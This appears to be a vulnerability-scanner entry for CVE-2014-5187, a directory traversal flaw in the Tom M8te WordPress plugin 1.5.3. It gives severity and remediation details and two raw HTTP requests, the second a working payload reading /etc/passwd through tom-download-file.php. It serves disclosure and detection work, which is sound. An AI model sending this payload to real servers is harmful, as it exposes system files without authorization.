| Title | Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal |
|---|---|
| Author | DhiyaneshDK |
| Severity | Medium |
| Impact | Remote attackers can read arbitrary files on the server, potentially leading to information disclosure or further exploitation. |
| Remediation | Update to the latest version of the plugin or apply security patches to fix the vulnerability. |
| CVSS Score | 5 |
| EPSS Score | 0.00991 |
| CVE ID | CVE-2014-5187 |
| CWE ID | CWE-22 |
| Tags | wpscan cve cve2014 wp-cross-rss wordpress wp-plugin lfi wp tom-m8te vuln |
Directory traversal vulnerability in the Tom M8te (tom-m8te) plugin 1.5.3 for WordPress allows remote attackers to read arbitrary files via the file parameter to tom-download-file.php.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/tom-m8te/tom-download-file.php?file=../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: close
Accept-Encoding: gzip
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